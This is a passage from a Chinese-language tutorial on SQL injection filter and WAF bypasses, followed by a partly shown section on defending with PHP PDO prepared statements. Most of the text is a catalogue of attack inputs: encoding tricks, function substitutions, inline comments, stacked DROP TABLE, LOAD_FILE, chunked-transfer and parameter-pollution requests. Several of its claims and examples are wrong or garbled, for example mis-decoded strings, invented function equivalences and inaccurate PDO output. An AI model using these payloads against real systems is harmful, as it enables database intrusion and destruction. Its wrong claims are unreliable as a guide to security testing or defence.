SELECT * FROM users WHERE username = '%61%64%6d%69%6f%27%20%4f%52%20%27%31%27%3d%27%31%27%23'
-- %61=a, %64=d, %6d=m, %69=i, %6e=n, %27=', %20=空格, %4f=O, %52=R, %3d==

-- 十六进制编码绕过(MySQL特有):
-- 使用0x前缀直接表示十六进制字符串
-- 攻击输入: 0x61646d696e
SELECT * FROM users WHERE username = 0x61646d696e
-- 0x61646d696e = 'admin'(十六进制转字符串)

-- ASCII CHAR() 函数编码:
-- 使用CHAR()函数将ASCII码转换为字符
-- 攻击输入: CHAR(97,100,109,105,110)
SELECT * FROM users WHERE username = CHAR(97,100,109,105,110)
-- CHAR(97,100,109,105,110) = 'admin'

-- Unicode 编码:
-- 使用Unicode转义序列
-- 攻击输入: \u0073\u0065\u006c\u0065\u0063\u0074 \u0055\u004e\u0049\u004f\u004e \u0053\u0045\u004c\u0045\u0043\u0054
SELECT * FROM users WHERE username = \u0073\u0065\u006c\u0065\u0063\u0074 1,2,3

-- Base64 编码:
-- 使用Base64编码后的字符串(某些情况下有效)
-- 攻击输入: YWRtaW4=
SELECT * FROM users WHERE username = 'YWRtaW4='
-- 'YWRtaW4=' = 'admin'(Base64解码后)

-- 混合编码示例(提高隐蔽性):
-- URL编码 + 十六进制 + CHAR函数组合
SELECT * FROM users WHERE username = CHAR(0x61,0x64,0x6d,0x69,0x6e) AND 1=1#

-- 其他编码方式:
-- 实体编码(HTML实体):
-- 攻击输入: &#97;&#100;&#109;&#105;&#110;
SELECT * FROM users WHERE username = '&#97;&#100;&#109;&#105;&#110;'

-- 十进制编码:
-- 攻击输入: CHAR(161,163,165,167,169)
SELECT * FROM users WHERE username = CHAR(161,163,165,167,169)

-- 编码检测技巧:
-- 1. 先测试URL编码是否被过滤(%27)
-- 2. 测试十六进制编码是否有效(0x...)
-- 3. 测试CHAR函数是否可用
-- 4. 组合多种编码提高成功率

8. 函数名绕过

场景说明:函数名绕过是指当应用程序过滤了特定的数据库函数名(如hex()、ascii()、substr()等)时,攻击者可以使用功能相同但名称不同的替代函数来达到相同的效果。每种数据库都有多个等价函数,攻击者需要熟悉这些替代函数才能成功绕过过滤。

正常SQL查询语句

1
2
3
-- 应用程序期望接收到一个用户ID,并获取用户信息
-- 输入: 1
SELECT id, username, email FROM users WHERE id = 1

绕过后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
-- 字符转换函数绕过:
-- hex() 被过滤 → 使用 encode() 或 unhex() 函数
-- 攻击输入: 1 AND hex(database())=0x74657374
SELECT id, username, email FROM users WHERE id = 1 AND encode(database())=0x74657374
-- encode()是hex()的替代函数,功能相同

-- 字符编码值函数绕过:
-- ascii() 被过滤 → 使用 ord() 函数
-- 攻击输入: 1 AND ord(substr(database(),1,1))=115
SELECT id, username, email FROM users WHERE id = 1 AND ord(substr(database(),1,1))=115
-- ord()是ascii()的替代函数,返回字符的ASCII码值

-- 字符串截取函数绕过:
-- substring()/substr() 被过滤 → 使用 mid(), left(), right() 函数
-- 攻击输入: 1 AND mid(database(),1,1)='t'
SELECT id, username, email FROM users WHERE id = 1 AND mid(database(),1,1)='t'
-- mid()函数等同于substring(),从指定位置开始截取

-- 字符串连接函数绕过:
-- concat() 被过滤 → 使用 concat_ws(), group_concat(), make_set() 函数
-- 攻击输入: 1 AND concat_ws(' ',database(),version())='test 5.7.32'
SELECT id, username, email FROM users WHERE id = 1 AND concat_ws(' ',database(),version())='test 5.7.32'
-- concat_ws()用分隔符连接字符串,第一个参数是分隔符

-- 数据库信息函数绕过:
-- version() 被过滤 → 使用 @@version 或 version_comment
-- 攻击输入: 1 AND @@version LIKE '5.7%'
SELECT id, username, email FROM users WHERE id = 1 AND @@version LIKE '5.7%'
-- @@version是MySQL的系统变量,等同于version()函数

-- 数据库名函数绕过:
-- database() 被过滤 → 使用 schema() 函数
-- 攻击输入: 1 AND schema()='test'
SELECT id, username, email FROM users WHERE id = 1 AND schema()='test'
-- schema()是database()的替代函数,返回当前数据库名

-- 当前用户函数绕过:
-- user() 被过滤 → 使用 current_user() 或 system_user()
-- 攻击输入: 1 AND current_user()='root@localhost'
SELECT id, username, email FROM users WHERE id = 1 AND current_user()='root@localhost'
-- current_user()返回当前登录用户信息

-- 字符串长度函数绕过:
-- length() 被过滤 → 使用 char_length() 或 octet_length()
-- 攻击输入: 1 AND char_length(database())=4
SELECT id, username, email FROM users WHERE id = 1 AND char_length(database())=4
-- char_length()返回字符数,length()返回字节数

-- 时间延迟函数绕过:
-- sleep() 被过滤 → 使用 benchmark() 函数
-- 攻击输入: 1 AND benchmark(5000000,MD5('1'))=1
SELECT id, username, email FROM users WHERE id = 1 AND benchmark(5000000,MD5('1'))=1
-- benchmark()执行指定次数的表达式,产生延迟

-- 条件函数绕过:
-- if() 被过滤 → 使用 case when 语法
-- 攻击输入: 1 AND (CASE WHEN database()='test' THEN sleep(5) ELSE 1 END)
SELECT id, username, email FROM users WHERE id = 1 AND (CASE WHEN database()='test' THEN sleep(5) ELSE 1 END)
-- case when相当于if-else结构,功能更强大

-- 其他常见替代函数:
-- count() → 被过滤可使用 sum(1) 或 max(1)
-- count() → 使用聚合函数如 sum(1)
-- limit() → 使用 fetch first n rows only(某些数据库)
-- limit() → 使用 TOP n(SQL Server)
-- group by() → 使用 order by配合 distinct

9. 内联注释绕过

场景说明:内联注释绕过利用了MySQL特有的语法特性。MySQL会将/*!*/之间的代码当作注释来处理,但如果注释符后面跟着版本号(如/*!50000),只有MySQL版本达到或高于指定版本时才会执行这些代码。攻击者可以利用这个特性来隐藏关键字,绕过WAF的过滤。

正常SQL查询语句

1
2
3
-- 应用程序期望接收到一个安全的用户名进行查询
-- 输入: admin
SELECT * FROM users WHERE username = 'admin'

绕过后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
-- 基础内联注释语法:
-- 在关键字前后添加内联注释符
-- 攻击输入: SELECT/*!*/ * FROM users
SELECT/*!*/ * FROM users WHERE username = 'admin'
-- /*! */之间的SELECT会被MySQL执行,但WAF可能将其当作注释忽略

-- 带版本检查的内联注释:
-- 只有MySQL版本达到指定要求才会执行
-- 攻击输入: SELECT /*!50000*/ * FROM users
SELECT /*!50000*/ * FROM users WHERE username = 'admin'
-- MySQL 5.0.0及以上版本会执行SELECT语句

-- 联合查询的内联注释绕过:
-- 在UNION和SELECT前后都添加内联注释
-- 攻击输入: 1 /*!UNION*/ /*!SELECT*/ 1,2,3
SELECT * FROM users WHERE id = 1 /*!UNION*/ /*!SELECT*/ 1,2,3
-- 过滤后可能被忽略,但MySQL会正常执行

-- 结合空格和内联注释:
-- 攻击输入: 1 /*!UNION*/%20/*!SELECT*/%201,2,3
SELECT * FROM users WHERE id = 1 /*!UNION*/%20/*!SELECT*/%201,2,3
-- 利用URL编码的空格%20和内联注释组合

-- 各种内联注释组合:
-- 攻击输入: /*!UNION*//*!SELECT*/ 1,2,3
SELECT * FROM users WHERE id = 1 /*!UNION*//*!SELECT*/ 1,2,3

-- 攻击输入: /*!UNION*/SELECT 1,2,3
SELECT * FROM users WHERE id = 1 /*!UNION*/SELECT 1,2,3

-- 攻击输入: UNION/*!*/SELECT 1,2,3
SELECT * FROM users WHERE id = 1 UNION/*!*/SELECT 1,2,3

-- 高级内联注释技巧:
-- 使用版本号作为内联注释的一部分
-- 攻击输入: 1 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3
SELECT * FROM users WHERE id = 1 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3

-- 使用不同的版本号进行混淆
-- 攻击输入: 1 /*!1000UNION*/ /*!1000SELECT*/ 1,2,3
SELECT * FROM users WHERE id = 1 /*!1000UNION*/ /*!1000SELECT*/ 1,2,3

-- 内联注释的注意事项:
-- 1. /*! */之间的代码会被MySQL执行
-- 2. 没有版本号时,所有版本的MySQL都会执行
-- 3. 有版本号时,只有达到或高于指定版本才执行
-- 4. 某些高级WAF现在也能检测内联注释绕过
-- 5. 可以与其他绕过技术结合使用,如编码、空格等

10. OR/AND 关键字绕过

场景说明:当应用程序过滤了OR和AND逻辑运算符时,攻击者需要寻找替代的逻辑运算符或表达式来实现相同的逻辑效果。SQL提供了多种逻辑运算符,包括位运算符、逻辑运算符和符号运算符,攻击者可以利用这些替代方法构造条件语句。

正常SQL查询语句

1
2
3
-- 应用程序期望接收到一个用户名和密码进行登录验证
-- 输入: username=admin, password=admin123
SELECT * FROM users WHERE username = 'admin' AND password = 'admin123'

绕过后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
-- 使用 || 替代 OR(逻辑或,MySQL中可用):
-- 攻击输入: admin' || '1'='1'--
SELECT * FROM users WHERE username = 'admin' || '1'='1'--'
-- ||在MySQL中等同于OR,用于连接两个条件表达式

-- 使用 && 替代 AND(逻辑与,MySQL中可用):
-- 攻击输入: admin' && '1'='1'--
SELECT * FROM users WHERE username = 'admin' && '1'='1'--'
-- &&在MySQL中等同于AND,用于连接两个条件表达式

-- 使用 XOR(异或运算符):
-- XOR的真值表:真 XOR 假 = 真,真 XOR 真 = 假
-- 攻击输入: 1 XOR 0 -- 构造永真条件
SELECT * FROM users WHERE id = 1 XOR 0
-- 1 XOR 0 = 1,条件为真,返回所有记录

-- 使用 NOT(逻辑非)组合条件:
-- 攻击输入: admin' AND NOT 0--
SELECT * FROM users WHERE username = 'admin' AND NOT 0--'
-- NOT 0 = 1,AND 1等同于AND TRUE,条件为真

-- 使用 |(位或运算符):
-- 攻击输入: 1 | 1=1
SELECT * FROM users WHERE id = 1 | 1=1
-- 位运算符在某些情况下可以作为逻辑运算符的替代

-- 使用 &(位与运算符):
-- 攻击输入: 1 & 1=1
SELECT * FROM users WHERE id = 1 & 1=1
-- 位与运算符也可以在某些场景下实现逻辑效果

-- 使用大小写混合(如果过滤规则只针对特定大小写):
-- 攻击输入: admin' Or '1'='1'--
SELECT * FROM users WHERE username = 'admin' Or '1'='1'--'
-- 改变OR的大小写可能绕过大小写敏感的过滤

-- 使用其他逻辑运算符组合:
-- 攻击输入: admin' AND 1=1 OR 1=0--
SELECT * FROM users WHERE username = 'admin' AND 1=1 OR 1=0--'
-- 利用OR的优先级,AND 1=1保证username条件,OR 1=0不影响结果

-- 使用其他替代方法:
-- 攻击输入: admin' || 1-- (使用两个||)
SELECT * FROM users WHERE username = 'admin' || 1--
-- ||在某些数据库中可以作为连接符

-- 使用 INTERSECT(在某些数据库中):
-- 攻击输入: SELECT * FROM users WHERE username = 'admin' INTERSECT SELECT * FROM users WHERE 1=1
-- INTERSECT在某些数据库中可以替代AND的效果

-- 使用 JOIN(复杂场景):
-- 通过自连接实现逻辑效果
SELECT a.* FROM users a JOIN users b ON a.id = b.id WHERE b.username = 'admin'

11. 引号绕过

场景说明:引号绕过是在应用程序过滤了单引号(’)和双引号(”)时,攻击者通过其他方式构造字符串值而不使用引号。引号在SQL中用于包裹字符串字面量,过滤引号会限制攻击者构造字符串比较条件。攻击者可以使用十六进制、字符函数、反引号等方法来构建字符串。

正常SQL查询语句

1
2
3
-- 应用程序期望接收到一个用户名进行查询
-- 输入: admin
SELECT * FROM users WHERE username = 'admin'

绕过后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
-- 使用十六进制编码(MySQL特有):
-- 使用0x前缀直接表示十六进制字符串
-- 攻击输入: 0x61646d696e
SELECT * FROM users WHERE username = 0x61646d696e
-- 0x61646d696e = 'admin'(十六进制转换为字符串)

-- 使用 CHAR() 函数构建字符串:
-- 将ASCII码转换为字符,无需引号
-- 攻击输入: CHAR(97,100,109,105,110)
SELECT * FROM users WHERE username = CHAR(97,100,109,105,110)
-- CHAR(97,100,109,105,110) = 'admin'

-- 使用 CONCAT() 函数拼接:
-- 将多个字符或字符串拼接成一个
-- 攻击输入: CONCAT('a','d','m','i','n')
SELECT * FROM users WHERE username = CONCAT('a','d','m','i','n')
-- CONCAT()函数连接字符,可以避免使用引号

-- 使用 MySQL 的反引号:
-- 反引号在MySQL中用于标识标识符(表名、列名),也可用于字符串
-- 攻击输入: `admin`
SELECT * FROM users WHERE username = `admin`
-- 反引号通常用于标识符,但在某些情况下可以作为引号的替代

-- 使用十六进制和 CHAR() 混合:
-- 结合使用两种技术提高隐蔽性
-- 攻击输入: CHAR(0x61,0x64,0x6d,0x69,0x6e)
SELECT * FROM users WHERE username = CHAR(0x61,0x64,0x6d,0x69,0x6e)
-- 0x61='a', 0x64='d', 0x6d='m', 0x69='i', 0x6e='n'

-- 其他引号绕过方法:

-- 使用双引号(当单引号被过滤时):
-- 攻击输入: "admin"
SELECT * FROM users WHERE username = "admin"
-- 某些SQL方言支持双引号作为字符串定界符

-- 使用方括号(SQL Server特有):
-- 攻击输入: [admin]
SELECT * FROM users WHERE username = [admin]
-- SQL Server中可用方括号包裹字符串

-- 使用 MAKEDATE() 或 MAKETIME 函数:
-- 某些特殊函数可以生成字符串
-- 攻击输入: MAKEDATE(2024, 1)
SELECT * FROM users WHERE username = MAKEDATE(2024, 1)
-- 在某些情况下可以利用日期函数生成字符串

-- 使用变量赋值:
-- 先赋值给变量,再使用变量
-- 攻击输入: @var:='admin'; SELECT * FROM users WHERE username = @var
SET @var = 'admin'; SELECT * FROM users WHERE username = @var
-- 使用变量避免直接使用字符串

-- 使用表名和列名推导:
-- 从已知表名推导,避免使用引号
-- 攻击输入: (SELECT column_name FROM information_schema.columns WHERE table_name=users LIMIT 1)
SELECT * FROM users WHERE username = (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1)
-- 通过系统表获取列名作为字符串

-- 引号绕过的注意事项:
-- 1. 不同数据库支持的绕过方法不同
-- 2. 某些方法需要特定的数据库版本支持
-- 3. 可以组合多种方法提高成功率
-- 4. 注释符通常仍然需要使用

12. WAF 综合绕过

场景说明:WAF(Web应用防火墙)通过分析HTTP请求的特征来检测和阻止SQL注入攻击。当简单的绕过技术被WAF识别后,攻击者需要采用更复杂的综合绕过技术,通过分块传输、参数污染、多层混淆等技术来隐藏SQL注入的特征。这些方法通常需要组合使用多种绕过技术。

正常SQL请求

1
2
3
4
5
6
POST /login.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

username=admin&password=admin123

正常SQL查询语句

1
2
-- 应用程序接收POST数据,执行登录验证
SELECT * FROM users WHERE username = 'admin' AND password = 'SHA1(admin123)'

绕过后的恶意SQL请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
-- 分块传输编码绕过(Chunked Transfer Encoding):
-- 将完整的SQL注入载荷拆分成多个HTTP块,WAF可能无法重组完整的恶意载荷
POST /login.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

20
user
name=admin' OR 1=1--
&password=
0
-- 第一个块包含 'name=admin',第二个块包含 ' OR 1=1--',WAF可能看不到完整的注入语句

-- HTTP 参数污染(HPP - HTTP Parameter Pollution):
-- 使用同名参数传递不同的值,让WAF和后端使用不同的值
username=admin&username=' OR 1=1--
-- WAF可能检查第一个username=admin,而后端使用最后一个username=' OR 1=1--

-- 混合多种绕过技术(大小写 + 注释 + 空格替换):
-- 组合使用多种简单的绕过技术,增加WAF的检测难度
SeLeCT/**//*!*/FroM/**/users WHERE username='admin'
-- SeLeCt大小写变化 + /**/空格替换 + /*!*/内联注释

-- 混合编码和大小写:
-- 使用URL编码加大小写变化
id=1%20AND%20%55NION%20%53ELECT%201,2,3
-- %55=U, %53=S,UNION变成URL编码+大小写

-- 多层内联注释组合:
-- 使用嵌套的内联注释
UN/**/ION/**/SE/**/LECT
-- 将UNION、SELECT等关键字拆分成多个注释块

-- 逗号绕过(UNION中逗号被检测时):
-- 当WAF检测UNION中的逗号时,使用JOIN替代
UNION SELECT 1,2,3UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- 用JOIN子查询替代逗号分隔

-- 特殊字符干扰和注入:
-- 使用合法字符干扰WAF的检测模式
id=1/**/AND/**/1=1
-- 使用注释符/**/分割关键字,避免被WAF检测到连续的关键字

-- 使用数学运算构造条件:
-- 使用数学运算避免直接使用比较运算符
id=1 AND 2-1=1
-- 2-1=1,避免使用直接的1=1

-- 其他高级WAF绕过技术:

-- 空白字符多样化:
-- 使用多种空白字符的组合(ASCII 0x00-0x20)
SELECT\x00*\x0d\x0aFROM\x09users\x0bWHERE\x0cid=1

-- 关键字伪装:
-- 使用类似的关键字或函数名
-- 例如:SELEct 代替 SELECT,SELECt 代替 SELECT
SELECT * FROM users WHERE username='admin'/**/UNION/**/SELECT/**/1,2,3

-- 编码嵌套:
-- 多层编码,如Base64编码后再URL编码
-- payload = base64('admin') -> 'YWRtaW4=' -> URL编码 -> 'YWRtaW4%3D'

-- 时间分段注入:
-- 将完整的SQL语句分散在多个请求中
-- 第一个请求:SELECT * FROM users WHERE id =
-- 第二个请求: (SELECT 1 UNION SELECT 2)
-- 后端将两个请求拼接成完整SQL

-- WAF绕过最佳实践:
-- 1. 先测试哪些字符/关键字被过滤
-- 2. 组合使用多种绕过技术
-- 3. 逐步增加注入载荷的复杂性
-- 4. 使用合法的SQL语法作为掩护
-- 5. 利用WAF的检测盲点(如HTTP头部)

13. 其他绕过技巧

场景说明:除了常见的绕过技术外,还有一些特殊情况和高级技巧可以帮助攻击者绕过各种过滤机制。这些技巧包括利用特殊字符编码、使用HTTP协议特性、利用数据库特定的功能等。这些方法通常作为其他绕过技术的补充或替代方案。

正常SQL查询语句

1
2
3
-- 应用程序期望接收到一个ID进行查询
-- 输入: 1
SELECT * FROM products WHERE id = 1

绕过后的恶意SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
-- NULL 字节绕过:
-- 当应用程序使用字符串处理函数,在遇到NULL字节时可能提前终止
-- 攻击输入: 1%00' OR 1=1--
SELECT * FROM products WHERE id = 1%00' OR 1=1--'
-- %00是NULL字节,某些字符串处理函数在%00处停止处理,后面的内容被忽略

-- 分号绕过(URL编码):
-- 当分号被过滤时,使用URL编码的分号
-- 攻击输入: 1%3B DROP TABLE users--
SELECT * FROM products WHERE id = 1%3B DROP TABLE users--
-- %3B是分号的URL编码,被解码后执行堆叠查询

-- 逗号绕过:
-- 当UNION SELECT中的逗号被过滤时,使用JOIN或OFFSET替代
-- 攻击输入: UNION SELECT 1,2,3 → UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
SELECT * FROM products WHERE id = 1 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- 使用JOIN子查询替代逗号分隔多个值

-- LIMIT语句中的逗号绕过:
-- 当LIMIT的逗号被过滤时,使用OFFSET语法
-- 攻击输入: LIMIT 0,1 → LIMIT 1 OFFSET 0
SELECT * FROM products LIMIT 1 OFFSET 0

-- 空字符串绕过:
-- 使用NULL字节或其他不可见字符替代空格
-- 攻击输入: 1%00AND%001=1
SELECT * FROM products WHERE id = 1%00AND%001=1
-- 使用%00替代空格,某些解析器会将其忽略

-- 双URL编码:
-- 当WAF只进行单次URL解码时,使用双重编码绕过
-- 攻击输入: %2527 OR 1=1%2523
SELECT * FROM products WHERE id = %2527 OR 1=1%2523
-- %2527 -> %27 -> ',%2523 -> %23 -> #
-- 第一次解码后变成 %27 OR 1=1%23,WAF可能检测不到
-- 第二次解码后被数据库执行为 ' OR 1=1#

-- 其他高级绕过技巧:

-- 利用HTTP协议特性:
-- 使用HTTP头部进行注入(当GET/POST参数被过滤时)
User-Agent: ' OR 1=1--
Referer: ' OR 1=1--
X-Forwarded-For: ' OR 1=1--

-- 利用数据库特定功能:
-- MySQL: 使用/*!50000UNION*/版本特定语法
-- PostgreSQL: 使用$$代替单引号定义字符串
-- SQL Server: 使用+N前缀(N'string'表示Unicode字符串)

-- 利用正则表达式绕过:
-- 使用注释符和关键字的变体
-- 例如:/**/union/*/**/select/**/

-- 利用大小写和编码混合:
-- 结合使用多种编码技术
-- 例如:UnIoN%20SeLeCt(URL编码+大小写)

-- 利用HTTP方法:
-- 当GET/POST被过滤时,尝试其他HTTP方法
-- 例如:PUT、DELETE、PATCH、OPTIONS

-- 利用文件上传功能:
-- 上传恶意文件并在SQL语句中引用
-- 例如:SELECT LOAD_FILE('/var/www/uploads/malicious.txt')

-- 利用存储过程:
-- 使用合法的存储过程隐藏恶意代码
-- 例如:CALL sp_executesql('SELECT 1')

-- 利用XML功能:
-- 使用FOR XML PATH等XML相关功能
-- 例如:SELECT * FROM users FOR XML PATH('')

-- 绕过高级WAF的策略:
-- 1. 使用合法的SQL语法组合
-- 2. 利用WAF的检测盲点和延迟
-- 3. 使用加密的payload
-- 4. 利用第三方服务中转
-- 5. 使用慢速攻击(Slow Attack)绕过检测

防御

防御方式总览

防御方式说明推荐度
PDO 预编译最有效的防护,参数与SQL语句分离⭐⭐⭐⭐⭐
输入验证限制长度、格式、类型⭐⭐⭐⭐
最小权限数据库账户限制权限⭐⭐⭐⭐
WAFWeb应用防火墙⭐⭐⭐
ORM框架自动转义处理⭐⭐⭐⭐
存储过程减少动态SQL⭐⭐⭐
逃逸处理mysql_real_escape_string 等⭐⭐ (已被预编译替代)

PDO 预编译详解

1. PDO 预编译原理

PDO (PHP Data Objects) 的预编译机制将 SQL 语句和数据分开处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
预编译过程:
┌─────────────────────────────────────────────────────┐
│ 1. 发送 SQL 模板(含占位符)到数据库 │
│ SELECT * FROM users WHERE id = ? │
│ │
│ 2. 数据库解析、编译、优化 SQL,生成执行计划 │
│ (此时并不知道 ? 的具体值) │
│ │
│ 3. 应用程序多次发送不同的参数值 │
│ id = 1 → 执行 │
│ id = 2 → 执行 │
│ id = 1' OR 1=1 → 参数被当作纯字符串处理 │
│ (不会被解析为 SQL 代码) │
│ │
│ 4. 即使参数包含 SQL 注入代码,也只作为字符串处理 │
└─────────────────────────────────────────────────────┘

核心优势:参数值始终作为数据,不会被解释为 SQL 语法,从根本上杜绝注入。


2. PDO 预编译完整示例

基础连接配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'mydb';
$username = 'dbuser';
$password = 'dbpass';

// 创建 PDO 实例(推荐使用异常模式)
try {
$pdo = new PDO(
"mysql:host=$host;dbname=$dbname;charset=utf8mb4",
$username,
$password,
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, // 异常模式
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, // 关联数组
PDO::ATTR_EMULATE_PREPARES => false, // 禁用模拟预编译(重要!)
]
);
} catch (PDOException $e) {
die("数据库连接失败: " . $e->getMessage());
}

关键配置说明

  • PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION:错误以异常抛出,便于捕获
  • PDO::ATTR_EMULATE_PREPARES => false禁用模拟预编译,使用真正的预编译,这是防御注入的关键!

占位符类型

PDO 支持两种占位符:

1
2
3
4
5
6
7
8
9
// 1. 问号占位符 ? (位置绑定)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bindValue(1, $id, PDO::PARAM_INT);
$stmt->execute();

// 2. 命名占位符 :name (名称绑定)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();

3. 预编译与普通查询对比

不安全的普通查询
1
2
3
4
5
6
7
8
9
10
<?php
// 错误示例:直接拼接 SQL
$id = $_GET['id']; // 用户输入: 1' OR 1=1--

$sql = "SELECT * FROM users WHERE id = $id"; // 危险!
$result = $pdo->query($sql);

// 拼接后的实际 SQL:
// SELECT * FROM users WHERE id = 1' OR 1=1--
// 注入成功!返回所有用户
安全的预编译查询
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// 正确示例:使用预编译
$id = $_GET['id']; // 用户输入: 1' OR 1=1--

// SQL 模板使用占位符
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");

// 绑定参数(1' OR 1=1-- 被当作纯字符串处理)
$stmt->bindValue(1, $id, PDO::PARAM_INT);
$stmt->execute();

// 实际执行的 SQL:
// SELECT * FROM users WHERE id = '1\' OR 1=1--'
// 参数被转义,只返回 id 为 '1\' OR 1=1--' 的记录(不存在)
// 注入失败!

4. 完整的安全 CRUD 操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
// ==================== CREATE (插入) ====================
function insertUser($pdo, $username, $email, $age) {
$sql = "INSERT INTO users (username, email, age) VALUES (?, ?, ?)";
$stmt = $pdo->prepare($sql);

// 绑定参数并执行
return $stmt->execute([$username, $email, $age]);
}

// 使用
insertUser($pdo, "admin' OR 1=1--", "test@test.com", 25);
// 注入代码被当作字符串,安全!

// ==================== READ (查询) ====================
function getUserById($pdo, $id) {
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bindValue(1, $id, PDO::PARAM_INT);
$stmt->execute();
return $stmt->fetch();
}

function getUserByUsername($pdo, $username) {
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bindValue(1, $username, PDO::PARAM_STR);
$stmt->execute();
return $stmt->fetch();
}

// 使用
$user = getUserById($pdo, "1' UNION SELECT * FROM admin--");
// 安全!

// ==================== UPDATE (更新) ====================
function updateUserEmail($pdo, $userId, $newEmail) {
$sql = "UPDATE users SET email = ? WHERE id = ?";
$stmt = $pdo->prepare($sql);
return $stmt->execute([$newEmail, $userId]);
}

// 使用
updateUserEmail($pdo, 1, "test@test.com', email='hacker@evil.com'--");
// 安全!

// ==================== DELETE (删除) ====================
function deleteUser($pdo, $userId) {
$sql = "DELETE FROM users WHERE id = ?";
$stmt = $pdo->prepare($sql);
$stmt->bindValue(1, $userId, PDO::PARAM_INT);
return $stmt->execute();
}

// 使用
deleteUser($pdo, "1 OR 1=1");
// 安全!只删除 id 为 "1 OR 1=1" 的记录(不存在)

5. 命名占位符详细示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
// 登录验证(安全方式)
function login($pdo, $username, $password) {
$sql = "SELECT * FROM users WHERE username = :username AND password = :password";
$stmt = $pdo->prepare($sql);

// 绑定命名参数
$stmt->bindParam(':username', $username, PDO::PARAM_STR);
$stmt->bindParam(':password', $password, PDO::PARAM_STR);
$stmt->execute();

return $stmt->fetch();
}

// 使用 - 即使输入包含注入代码也是安全的
$result = login($pdo, "admin' --", "anything");
// 实际执行: SELECT * FROM users WHERE username = 'admin\' --' AND password = 'anything'
// 安全!

// ==================== 复杂查询 ====================
function searchUsers($pdo, $keyword, $minAge, $maxAge, $limit) {
$sql = "SELECT * FROM users
WHERE username LIKE :keyword
AND age BETWEEN :minAge AND :maxAge
ORDER BY id DESC
LIMIT :limit";

$stmt = $pdo->prepare($sql);

$keywordParam = "%$keyword%";
$stmt->bindParam(':keyword', $keywordParam, PDO::PARAM_STR);
$stmt->bindParam(':minAge', $minAge, PDO::PARAM_INT);
$stmt->bindParam(':maxAge', $maxAge, PDO::PARAM_INT);
$stmt->bindParam(':limit', $limit, PDO::PARAM_INT);

$stmt->execute();
return $stmt->fetchAll();
}

// 使用
$results = searchUsers($pdo, "admin' OR '1'='1", 0, 100, 10);
// 安全!

6. 动态 SQL 与预编译

当需要动态构建 SQL(如动态 WHERE 条件)时,仍然要安全处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
// 安全的动态查询构建
function dynamicQuery($pdo, $conditions) {
$where = [];
$params = [];

// 构建动态 WHERE 条件
foreach ($conditions as $key => $value) {
// 白名单验证列名,防止列名注入
$allowedColumns = ['username', 'email', 'age', 'status'];
if (!in_array($key, $allowedColumns)) {
continue; // 跳过不允许的列
}

$where[] = "$key = ?";
$params[] = $value;
}

if (empty($where)) {
return [];
}

// 构建完整 SQL
$sql = "SELECT * FROM users WHERE " . implode(' AND ', $where);

$stmt = $pdo->prepare($sql);
$stmt->execute($params);

return $stmt->fetchAll();
}

// 使用
$results = dynamicQuery($pdo, [
'username' => "admin' OR '1'='1", // 注入尝试
'age' => 25
]);
// 安全!列名白名单 + 参数绑定

7. 批量操作与事务

1
2
3
4
5
6
7
8
9
10
